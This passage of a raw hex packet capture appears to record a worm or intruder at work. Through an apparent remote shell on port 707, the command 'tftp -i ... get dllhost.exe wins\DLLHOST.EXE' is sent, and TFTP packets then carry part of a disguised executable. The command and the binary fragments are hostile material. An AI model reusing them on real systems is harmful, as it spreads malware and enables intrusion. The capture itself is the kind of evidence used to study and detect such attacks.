0x0070 5661 6c69 6452 6561 6446 696c 6573 202d ValidReadFiles.-
0x0080 206f 6e6c 7920 6d61 7463 6869 6e67 2066 .only.matching.f
0x0090 696c 6573 2077 696c 6c20 6265 2073 6572 iles.will.be.ser
0x00a0 7665 6420 6f75 742c 2065 672e 2022 722a ved.out,.eg.."r*
0x00b0 2e74 3f74 220a 2020 2056 616c 6964 5772 .t?t"....ValidWr
0x00c0 6974 6546 696c 6573 2d20 6f6e 6c79 206d iteFiles-.only.m
0x00d0 6174 6368 696e 6720 6669 6c65 7320 7769 atching.files.wi
0x00e0 6c6c 2062 6520 6163 6365 7074 6564 2c20 ll.be.accepted,.
0x00f0 2065 672e 2022 772a 2e74 7874 2220 0a20 .eg.."w*.txt"...
0x0100 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0110 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0120 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0130 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0140 2020 2020 2020 2020 200a 436c 6965 6e74 ..........Client
0x0150 3a20 2020 2020 2020 2020 2020 2020 2020 :...............
0x0160 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0170 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0180 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0190 2020 2020 0a20 2074 6674 7020 5b2d 695d .......tftp.[-i]
0x01a0 2073 6572 7665 726e 616d 6520 7b67 6574 .servername.{get
0x01b0 7c70 7574 7d20 7372 635f 6669 6c65 2064 |put}.src_file.d
0x01c0 6573 745f 6669 6c65 2020 2020 2020 2020 est_file........
0x01d0 2020 2020 2020 2020 2020 2020 2020 200a ................
0x01e0 2020 2d69 2066 726f 6d20 6269 6e61 7279 ..-i.from.binary
0x01f0 206d 6f64 652c 2065 6c73 6520 6173 6369 .mode,.else.asci
0x0200 6920 6d6f 6465 2069 7320 7573 6564 2e20 i.mode.is.used..
0x0210 2020 2020 2020 2020 2020 2020 2020 2020 ................
07:03:56.667096 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52b 0000 8011 5b32 800a 097f E....+....[2....
0x0010 800a 10dc 0f71 0645 000c cf89 0004 0023 .....q.E.......#
0x0020 7002 4000 d84e 0000 0204 05b4 0101 p.@..N........
07:03:56.667108 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52b 0000 8011 5b32 800a 097f E....+....[2....
0x0010 800a 10dc 0f71 0645 000c cf89 0004 0023 .....q.E.......#
0x0020 7002 4000 d84e 0000 0204 05b4 0101 p.@..N........
07:03:56.670957 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1afb 0000 7f11 0463 800a 10dc E..........c....
0x0010 800a 097f 0645 0f71 020c 5d6f 0003 0024 .....E.q..]o...$
0x0020 2020 2020 2020 2020 2020 0a20 2020 2020 ................
0x0030 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0040 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0050 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0060 2020 2020 2020 2020 2020 2020 2020 2020 ................
0x0070 2020 2020 200a 203d 3d3d 3d3d 3d3d 3d3d .......=========
0x0080 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x0090 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x00a0 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d ================
0x00b0 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d3d 3d20 ===============.
0x00c0 0a00 0000 0000 0000 5466 7470 6400 0000 ........Tftpd...
0x00d0 a85c 0001 6516 0001 0000 0000 0000 0000 .\..e...........
0x00e0 d814 0001 c814 0001 b414 0001 9014 0001 ................
0x00f0 7814 0001 6414 0001 5014 0001 4014 0001 x...d...P...@...
0x0100 2414 0001 0000 0000 2a00 0000 0000 0000 $.......*.......
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 2a00 0000 0000 0000 0000 0000 0000 0000 *...............
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0170 0000 0000 0000 0000 2a00 0000 0000 0000 ........*.......
0x0180 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 2a00 0000 0000 0000 0000 0000 0000 0000 *...............
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0100 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.672429 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52c 0000 8011 5b31 800a 097f E....,....[1....
0x0010 800a 10dc 0f71 0645 000c cf88 0004 0024 .....q.E.......$
0x0020 7002 4000 4a9d 0000 0204 05b4 0101 p.@.J.........
07:03:56.672441 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52c 0000 8011 5b31 800a 097f E....,....[1....
0x0010 800a 10dc 0f71 0645 000c cf88 0004 0024 .....q.E.......$
0x0020 7002 4000 4a9d 0000 0204 05b4 0101 p.@.J.........
07:03:56.676416 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1afc 0000 7f11 0462 800a 10dc E..........b....
0x0010 800a 097f 0645 0f71 020c 19bd 0003 0025 .....E.q.......%
0x0020 0000 0000 0000 0000 0000 0000 0000 0100 ................
0x0030 1000 0000 1800 0080 0000 0000 0000 0000 ................
0x0040 0000 0000 0000 0100 0100 0000 3000 0080 ............0...
0x0050 0000 0000 0000 0000 0000 0000 0000 0100 ................
0x0060 0904 0000 4800 0000 6070 0000 7403 0000 ....H...`p..t...
0x0070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 7403 3400 0000 5600 5300 5f00 5600 4500 t.4...V.S._.V.E.
0x0090 5200 5300 4900 4f00 4e00 5f00 4900 4e00 R.S.I.O.N._.I.N.
0x00a0 4600 4f00 0000 0000 bd04 effe 0000 0100 F.O.............
0x00b0 0000 0500 0100 5608 0000 0500 0100 5608 ......V.......V.
0x00c0 3f00 0000 0000 0000 0400 0400 0100 0000 ?...............
0x00d0 0000 0000 0000 0000 0000 0000 d402 0000 ................
0x00e0 0100 5300 7400 7200 6900 6e00 6700 4600 ..S.t.r.i.n.g.F.
0x00f0 6900 6c00 6500 4900 6e00 6600 6f00 0000 i.l.e.I.n.f.o...
0x0100 b002 0000 0100 3000 3400 3000 3900 3000 ......0.4.0.9.0.
0x0110 3400 4200 3000 0000 4c00 1600 0100 4300 4.B.0...L.....C.
0x0120 6f00 6d00 7000 6100 6e00 7900 4e00 6100 o.m.p.a.n.y.N.a.
0x0130 6d00 6500 0000 0000 4d00 6900 6300 7200 m.e.....M.i.c.r.
0x0140 6f00 7300 6f00 6600 7400 2000 4300 6f00 o.s.o.f.t...C.o.
0x0150 7200 7000 6f00 7200 6100 7400 6900 6f00 r.p.o.r.a.t.i.o.
0x0160 6e00 0000 7200 2500 0100 4600 6900 6c00 n...r.%...F.i.l.
0x0170 6500 4400 6500 7300 6300 7200 6900 7000 e.D.e.s.c.r.i.p.
0x0180 7400 6900 6f00 6e00 0000 0000 5400 4300 t.i.o.n.....T.C.
0x0190 5000 2f00 4900 5000 2000 5400 7200 6900 P./.I.P...T.r.i.
0x01a0 7600 6900 6100 6c00 2000 6600 6900 6c00 v.i.a.l...f.i.l.
0x01b0 6500 2000 7400 7200 6100 6e00 7300 6600 e...t.r.a.n.s.f.
0x01c0 6500 7200 2000 6400 6100 6500 6d00 6f00 e.r...d.a.e.m.o.
0x01d0 6e00 2e00 0000 0000 3800 0c00 0100 4600 n.......8.....F.
0x01e0 6900 6c00 6500 5600 6500 7200 7300 6900 i.l.e.V.e.r.s.i.
0x01f0 6f00 6e00 0000 0000 3500 2e00 3000 3000 o.n.....5...0.0.
0x0200 2e00 3200 3100 3300 3400 2e00 3100 0000 ..2.1.3.4...1...
0x0210 3400 0a00 0100 4900 6e00 7400 6500 7200 4.....I.n.t.e.r.
07:03:56.677344 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52d 0000 8011 5b30 800a 097f E....-....[0....
0x0010 800a 10dc 0f71 0645 000c cf87 0004 0025 .....q.E.......%
0x0020 7002 4000 831d 0000 0204 05b4 0101 p.@...........
07:03:56.677355 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52d 0000 8011 5b30 800a 097f E....-....[0....
0x0010 800a 10dc 0f71 0645 000c cf87 0004 0025 .....q.E.......%
0x0020 7002 4000 831d 0000 0204 05b4 0101 p.@...........
07:03:56.681394 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 516
0x0000 4500 0220 1afd 0000 7f11 0461 800a 10dc E..........a....
0x0010 800a 097f 0645 0f71 020c 5736 0003 0026 .....E.q..W6...&
0x0020 6e00 6100 6c00 4e00 6100 6d00 6500 0000 n.a.l.N.a.m.e...
0x0030 7400 6600 7400 7000 6400 2e00 6500 7800 t.f.t.p.d...e.x.
0x0040 6500 0000 7400 2800 0100 4c00 6500 6700 e...t.(...L.e.g.
0x0050 6100 6c00 4300 6f00 7000 7900 7200 6900 a.l.C.o.p.y.r.i.
0x0060 6700 6800 7400 0000 4300 6f00 7000 7900 g.h.t...C.o.p.y.
0x0070 7200 6900 6700 6800 7400 2000 2800 4300 r.i.g.h.t...(.C.
0x0080 2900 2000 4d00 6900 6300 7200 6f00 7300 )...M.i.c.r.o.s.
0x0090 6f00 6600 7400 2000 4300 6f00 7200 7000 o.f.t...C.o.r.p.
0x00a0 2e00 2000 3100 3900 3800 3100 2d00 3100 ....1.9.8.1.-.1.
0x00b0 3900 3900 3900 0000 3c00 0a00 0100 4f00 9.9.9...<.....O.
0x00c0 7200 6900 6700 6900 6e00 6100 6c00 4600 r.i.g.i.n.a.l.F.
0x00d0 6900 6c00 6500 6e00 6100 6d00 6500 0000 i.l.e.n.a.m.e...
0x00e0 7400 6600 7400 7000 6400 2e00 6500 7800 t.f.t.p.d...e.x.
0x00f0 6500 0000 7e00 2f00 0100 5000 7200 6f00 e...~./...P.r.o.
0x0100 6400 7500 6300 7400 4e00 6100 6d00 6500 d.u.c.t.N.a.m.e.
0x0110 0000 0000 4d00 6900 6300 7200 6f00 7300 ....M.i.c.r.o.s.
0x0120 6f00 6600 7400 2800 5200 2900 2000 5700 o.f.t.(.R.)...W.
0x0130 6900 6e00 6400 6f00 7700 7300 2000 2800 i.n.d.o.w.s...(.
0x0140 5200 2900 2000 3200 3000 3000 3000 2000 R.)...2.0.0.0...
0x0150 4f00 7000 6500 7200 6100 7400 6900 6e00 O.p.e.r.a.t.i.n.
0x0160 6700 2000 5300 7900 7300 7400 6500 6d00 g...S.y.s.t.e.m.
0x0170 0000 0000 3c00 0c00 0100 5000 7200 6f00 ....<.....P.r.o.
0x0180 6400 7500 6300 7400 5600 6500 7200 7300 d.u.c.t.V.e.r.s.
0x0190 6900 6f00 6e00 0000 3500 2e00 3000 3000 i.o.n...5...0.0.
0x01a0 2e00 3200 3100 3300 3400 2e00 3100 0000 ..2.1.3.4...1...
0x01b0 4400 0000 0100 5600 6100 7200 4600 6900 D.....V.a.r.F.i.
0x01c0 6c00 6500 4900 6e00 6600 6f00 0000 0000 l.e.I.n.f.o.....
0x01d0 2400 0400 0000 5400 7200 6100 6e00 7300 $.....T.r.a.n.s.
0x01e0 6c00 6100 7400 6900 6f00 6e00 0000 0000 l.a.t.i.o.n.....
0x01f0 0904 b004 0000 0000 0000 0000 0000 0000 ................
0x0200 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0210 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.686837 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52e 0000 8011 5b2f 800a 097f E.........[/....
0x0010 800a 10dc 0f71 0645 000c cf86 0004 0026 .....q.E.......&
0x0020 7002 4000 cd11 0000 0204 05b4 0101 p.@...........
07:03:56.686850 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52e 0000 8011 5b2f 800a 097f E.........[/....
0x0010 800a 10dc 0f71 0645 000c cf86 0004 0026 .....q.E.......&
0x0020 7002 4000 cd11 0000 0204 05b4 0101 p.@...........
07:03:56.690585 XX.XX.XX.220.1605 > XXX.X.XX.120.3953: udp 276
0x0000 4500 0130 1afe 0000 7f11 0550 800a 10dc E..0.......P....
0x0010 800a 097f 0645 0f71 011c 284a 0003 0027 .....E.q..(J...'
0x0020 0100 0000 1001 0000 0009 0a0b 6578 655c ............exe\
0x0030 7466 7470 642e 6462 6700 2e65 7865 0000 tftpd.dbg..exe..
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0060 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
07:03:56.691801 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52f 0000 8011 5b2e 800a 097f E..../....[.....
0x0010 800a 10dc 0f71 0645 000c cf85 0004 0027 .....q.E.......'
0x0020 7002 4000 0188 0000 0204 05b4 0101 p.@...........
07:03:56.691813 XXX.X.XX.120.3953 > XX.XX.XX.220.1605: udp 4
0x0000 4500 0020 c52f 0000 8011 5b2e 800a 097f E..../....[.....
0x0010 800a 10dc 0f71 0645 000c cf85 0004 0027 .....q.E.......'
0x0020 7002 4000 0188 0000 0204 05b4 0101 p.@...........
07:03:56.704087 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 514:576(62) ack 103 win
17418 (DF)
0x0000 4500 0066 c530 4000 8006 1af2 800a 097f E..f.0@.........
0x0010 800a 10dc 0f48 02c3 0a1f 133b 1422 b2fe .....H.....;."..
0x0020 5018 440a 65d7 0000 5472 616e 7366 6572 P.D.e...Transfer
0x0030 2073 7563 6365 7373 6675 6c3a 2031 3937 .successful:.197
0x0040 3238 2062 7974 6573 2069 6e20 3120 7365 28.bytes.in.1.se
0x0050 636f 6e64 2c20 3139 3732 3820 6279 7465 cond,.19728.byte
0x0060 732f 730d 0d0a s/s...
07:03:56.704100 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 514:576(62) ack 103 win
17418 (DF)
0x0000 4500 0066 c530 4000 8006 1af2 800a 097f E..f.0@.........
0x0010 800a 10dc 0f48 02c3 0a1f 133b 1422 b2fe .....H.....;."..
0x0020 5018 440a 65d7 0000 5472 616e 7366 6572 P.D.e...Transfer
0x0030 2073 7563 6365 7373 6675 6c3a 2031 3937 .successful:.197
0x0040 3238 2062 7974 6573 2069 6e20 3120 7365 28.bytes.in.1.se
0x0050 636f 6e64 2c20 3139 3732 3820 6279 7465 cond,.19728.byte
0x0060 732f 730d 0d0a s/s...
07:03:56.706876 XX.XX.XX.220.707 > XXX.X.XX.120.3912: P 103:159(56) ack 576 win
16945 (DF)
0x0000 4500 0060 1b01 4000 7f06 c627 800a 10dc E..`..@....'....
0x0010 800a 097f 02c3 0f48 1422 b2fe 0a1f 1379 .......H.".....y
0x0020 5018 4231 738b 0000 7466 7470 202d 6920 P.B1s...tftp.-i.
0x0030 3132 382e 3130 2e31 362e 3232 3020 6765 XX.XX.XX.220.ge
0x0040 7420 646c 6c68 6f73 742e 6578 6520 7769 t.dllhost.exe.wi
0x0050 6e73 5c44 4c4c 484f 5354 2e45 5845 0a0d ns\DLLHOST.EXE..
07:03:56.723246 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 576:578(2) ack 159 win
17362 (DF)
0x0000 4500 002a c531 4000 8006 1b2d 800a 097f E..*.1@....-....
0x0010 800a 10dc 0f48 02c3 0a1f 1379 1422 b336 .....H.....y.".6
0x0020 5018 43d2 4d83 0000 0d0a 6972 2064 P.C.M.....ir.d
07:03:56.723259 XXX.X.XX.120.3912 > XX.XX.XX.220.707: P 576:578(2) ack 159 win
17362 (DF)
0x0000 4500 002a c531 4000 8006 1b2d 800a 097f E..*.1@....-....
0x0010 800a 10dc 0f48 02c3 0a1f 1379 1422 b336 .....H.....y.".6
0x0020 5018 43d2 4d83 0000 0d0a 6972 2064 P.C.M.....ir.d
07:03:56.754885 XXX.X.XX.120.3954 > XX.XX.XX.220.69: 20 RRQ "dllhost.exe"
0x0000 4500 0030 c532 0000 8011 5b1b 800a 097f E..0.2....[.....
0x0010 800a 10dc 0f72 0045 001c fed5 0001 646c .....r.E......dl
0x0020 6c68 6f73 742e 6578 6500 6f63 7465 7400 lhost.exe.octet.
07:03:56.754899 XXX.X.XX.120.3954 > XX.XX.XX.220.69: 20 RRQ "dllhost.exe"
0x0000 4500 0030 c532 0000 8011 5b1b 800a 097f E..0.2....[.....
0x0010 800a 10dc 0f72 0045 001c fed5 0001 646c .....r.E......dl
0x0020 6c68 6f73 742e 6578 6500 6f63 7465 7400 lhost.exe.octet.
07:03:56.769657 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b02 0000 7f11 045c 800a 10dc E..........\....
0x0010 800a 097f 0646 0f72 020c bf99 0003 0001 .....F.r........
0x0020 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
0x0030 b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
0x0040 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0050 0000 0000 0000 0000 0000 0000 e000 0000 ................
0x0060 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
0x0070 6973 2070 726f 6772 616d 2063 616e 6e6f is.program.canno
0x0080 7420 6265 2072 756e 2069 6e20 444f 5320 t.be.run.in.DOS.
0x0090 6d6f 6465 2e0d 0d0a 2400 0000 0000 0000 mode....$.......
0x00a0 565e 251d 123f 4b4e 123f 4b4e 123f 4b4e V^%..?KN.?KN.?KN
0x00b0 4b1c 584e 103f 4b4e 9137 164e 183f 4b4e K.XN.?KN.7.N.?KN
0x00c0 6923 474e 133f 4b4e 7d20 414e 193f 4b4e i#GN.?KN}.AN.?KN
0x00d0 9123 454e 133f 4b4e 7d20 4f4e 113f 4b4e .#EN.?KN}.ON.?KN
0x00e0 123f 4a4e 763f 4b4e 141c 404e 103f 4b4e .?JNv?KN..@N.?KN
0x00f0 5269 6368 123f 4b4e 0000 0000 0000 0000 Rich.?KN........
0x0100 5045 0000 4c01 0300 0820 089a 0000 0000 PE..L...........
0x0110 0000 0000 e000 0f01 0b01 0600 0030 0000 .............0..
0x0120 0010 0000 0060 0000 6090 0000 0070 0000 .....`..`....p..
0x0130 00a0 0000 0000 4000 0010 0000 0002 0000 ......@.........
0x0140 0400 0000 0000 0000 0400 0000 0000 0000 ................
0x0150 00b0 0000 0004 0000 0000 0000 0300 0000 ................
0x0160 0000 1000 0010 0000 0000 1000 0010 0000 ................
0x0170 0000 0000 1000 0000 0000 0000 0000 0000 ................
0x0180 00a0 0000 a001 0000 0000 0000 0000 0000 ................
0x0190 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x01f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0200 0060 0000 0010 0000 0000 0000 0004 0000 .`..............
0x0210 0000 0000 0000 0000 0000 0000 8000 00e0 ................
07:03:56.771197 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c533 0000 8011 5b2a 800a 097f E....3....[*....
0x0010 800a 10dc 0f72 0646 000c cfa9 0004 0001 .....r.F........
0x0020 7002 4000 4a4c 0000 0204 05b4 0101 p.@.JL........
07:03:56.771210 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c533 0000 8011 5b2a 800a 097f E....3....[*....
0x0010 800a 10dc 0f72 0646 000c cfa9 0004 0001 .....r.F........
0x0020 7002 4000 4a4c 0000 0204 05b4 0101 p.@.JL........
07:03:56.775315 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b03 0000 7f11 045b 800a 10dc E..........[....
0x0010 800a 097f 0646 0f72 020c 93b2 0003 0002 .....F.r........
0x0020 0000 0000 0000 0000 0030 0000 0070 0000 .........0...p..
0x0030 0022 0000 0004 0000 0000 0000 0000 0000 ."..............
0x0040 0000 0000 4000 00e0 0000 0000 0000 0000 ....@...........
0x0050 0010 0000 00a0 0000 0002 0000 0026 0000 .............&..
0x0060 0000 0000 0000 0000 0000 0000 4000 00c0 ............@...
0x0070 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0080 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0090 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00a0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00b0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00c0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00d0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00e0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x00f0 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0100 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0110 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0120 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0130 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0140 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0150 0000 0000 0000 0000 0000 0000 0000 0000 ................
0x0160 0000 ff81 ec30 0200 0055 5657 b941 0600 .....0...UVW.A..
0x0170 33c0 8dbc 2435 0110 c684 24bb edb1 cd34 3...$5....$....4
0x0180 018d 9407 f3ab 8b17 4028 83c9 fdff eeff ........@(......
0x0190 fff2 aef7 d12b f9c7 4424 0c1f 008b c18b .....+..D$......
0x01a0 f78b fac1 e902 f3a5 8bc8 eded efbf 3e83 ..............>.
0x01b0 e103 50f3 a4b9 493a 7c24 1437 6a02 e83f ..P...I:|$.7j..?
0x01c0 db7d edff 2130 8bf8 83ff ff74 798d 4c35 .}..!0.....ty.L5
0x01d0 3928 5351 5719 ffee f6ff 2a85 c074 5b8b 9(SQW.....*..t[.
0x01e0 3520 4140 4a2d 4005 8d54 2430 6a2e 52ff 5.A@J-@..T$0j.R.
0x01f0 ef66 6ef7 d683 c408 1b03 c649 8c3c 3050 .fn........I.<0P
0x0200 51ff 3721 0c09 020a 285c e63b ac1b ccc2 Q.7!....(\.;....
0x0210 da76 0000 5220 0000 0070 0000 2601 0092 .v..R....p..&...
07:03:56.776262 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c534 0000 8011 5b29 800a 097f E....4....[)....
0x0010 800a 10dc 0f72 0646 000c cfa8 0004 0002 .....r.F........
0x0020 7002 4000 776e 0000 0204 05b4 0101 p.@.wn........
07:03:56.776274 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c534 0000 8011 5b29 800a 097f E....4....[)....
0x0010 800a 10dc 0f72 0646 000c cfa8 0004 0002 .....r.F........
0x0020 7002 4000 776e 0000 0204 05b4 0101 p.@.wn........
07:03:56.780136 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b04 0000 7f11 045a 800a 10dc E..........Z....
0x0010 800a 097f 0646 0f72 020c 3389 0003 0003 .....F.r..3.....
0x0020 6fff edff 81ec 3002 0000 5556 57b9 4106 o.....0...UVW.A.
0x0030 0033 c08d bc24 3501 10c6 8424 bbed b1cd .3...$5....$....
0x0040 3401 8d94 07f3 ab8b 1740 2883 c9fd ffee 4........@(.....
0x0050 ffff f2ae f7d1 2bf9 c744 240c 1f00 8bc1 ......+..D$.....
0x0060 8bf7 8bfa c1e9 02f3 a58b c8ed edef bf3e ...............>
0x0070 83e1 0350 f3a4 b949 3a7c 2414 376a 02e8 ...P...I:|$.7j..
0x0080 3fdb 7ded ff21 308b f883 ffff 7479 8d4c ?.}..!0.....ty.L
0x0090 3539 2853 5157 19ff eef6 ff2a 85c0 745b 59(SQW.....*..t[
0x00a0 8b35 2041 404a 2d40 058d 5424 306a 2e52 .5.A@J-@..T$0j.R
0x00b0 ffef 666e f7d6 83c4 081b 03c6 498c 3c30 ..fn........I.<0
0x00c0 5051 ff37 63bb b3d5 1811 280c 5243 2417 PQ.7c.....(.RC$.
0x00d0 ebc6 ecfb 9bfb 57ff 15e0 4046 5f14 5f5e ......W...@F_._^
0x00e0 5d81 c4d8 c314 6087 b516 109b 1290 00bb ].....`.........
0x00f0 37b3 7d51 5356 7d3c 7099 b911 b6f7 f9ff 7.}QSV}<p.......
0x0100 df7e fb83 fa0e 7516 0e8b d881 e303 0f80 .~....u.........
0x0110 7905 4b83 cbfc 4380 c33f eb6f 47be b732 y.K...C..?.oG..2
0x0120 1a0f 7511 292d 8bda 1580 eb1c fe87 9c2c ..u.)-.........,
0x0130 1009 eb40 eb06 8a9a a45b dbad fdfd 5625 ...@.....[....V%
0x0140 ff44 0748 0d0b 0040 889d 0afe 910c 6013 .D.H...@......`.
0x0150 0b33 d233 c98a 6cee ffdb de17 8af3 8ae7 .3.3..l.........
0x0160 0a1b 00c1 e210 0bc2 81e1 ff0b 1bcc 16fb ................
0x0170 5e0b c15b 59c8 decc 0517 ac6c ed86 2f75 ^..[Y......l../u
0x0180 2c68 0428 6898 7412 18d0 2c6c f883 2c83 ,h.(h.t...,l..,.
0x0190 e802 7413 1608 8b41 04d8 6ec3 ae13 06cc ..t....A..n.....
0x01a0 44c3 e91c dc90 00df 3c6b 580d c850 0e7c D.......<kX..P.|
0x01b0 1068 c027 09d0 7c07 73c4 0f74 f008 9cde .h.'..|.s..t....
0x01c0 de66 77b3 351c 6878 7404 d860 a875 ed0b .fw.5.hxt..`.u..
0x01d0 f239 db57 0c13 a828 7636 8d85 70b7 10dc .9.W...(v6..p...
0x01e0 0411 2c5e 7f7f 36c3 0d87 a4da b350 6802 ..,^..6......Ph.
0x01f0 9db6 8cba 3bf7 e656 600f 85bb f231 19fc ....;..V`....1..
0x0200 8db5 51b6 7dbb db17 b896 6681 7c0b d407 ..Q.}.....f.|...
0x0210 7524 635b a4fb 73c3 3e1e fc68 6c09 d22f u$c[..s.>..hl../
07:03:56.781326 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c535 0000 8011 5b28 800a 097f E....5....[(....
0x0010 800a 10dc 0f72 0646 000c cfa7 0004 0003 .....r.F........
0x0020 7002 4000 8d4c 0000 0204 05b4 0101 p.@..L........
07:03:56.781338 XXX.X.XX.120.3954 > XX.XX.XX.220.1606: udp 4
0x0000 4500 0020 c535 0000 8011 5b28 800a 097f E....5....[(....
0x0010 800a 10dc 0f72 0646 000c cfa7 0004 0003 .....r.F........
0x0020 7002 4000 8d4c 0000 0204 05b4 0101 p.@..L........
07:03:56.785187 XX.XX.XX.220.1606 > XXX.X.XX.120.3954: udp 516
0x0000 4500 0220 1b05 0000 7f11 0459 800a 10dc E..........Y....
0x0010 800a 097f 0646 0f72 020c 5cfc 0003 0004 .....F.r..\.....
0x0020 6c6a 012c d66c 8e66 bc53 d509 c050 55ee lj.,.l.f.S...PU.
0x0030 76cf cc04 dab9 1058 b8aa 00bf 3064 f7fb v......X....0d..
0x0040 c6d6 0e35 04a5 68a0 0901 441f bc0e ae7b ...5..h...D....{
0x0050 db6e a3a0 c96a 64b7 a108 ebe1 bdee f875 .n...jd........u
0x0060 cf0f 2c6c 0402 cc07 7c7e 1052 6ab3 6bee ..,l....|~.Rj.k.
0x0070 d627 e490 192e 01ba c440 4973 a3e3 750b .'.......@Is..u.
0x0080 7e5b 7fa4 0150 f906 f7b0 a515 3c60 5720 ~[...P......<`W.
0x0090 68e8 0300 7bc2 823d 05dc 0b23 68d0 0713 h...{..=...#h...
0x00a0 cffc 46fa 8b1d 9019 9405 3d3c 816e 6fa5 ..F.......=<.no.
0x00b0 0962 095c d38b f078 81e6 b165 b7eb 2aff .b.\...x...e..*.
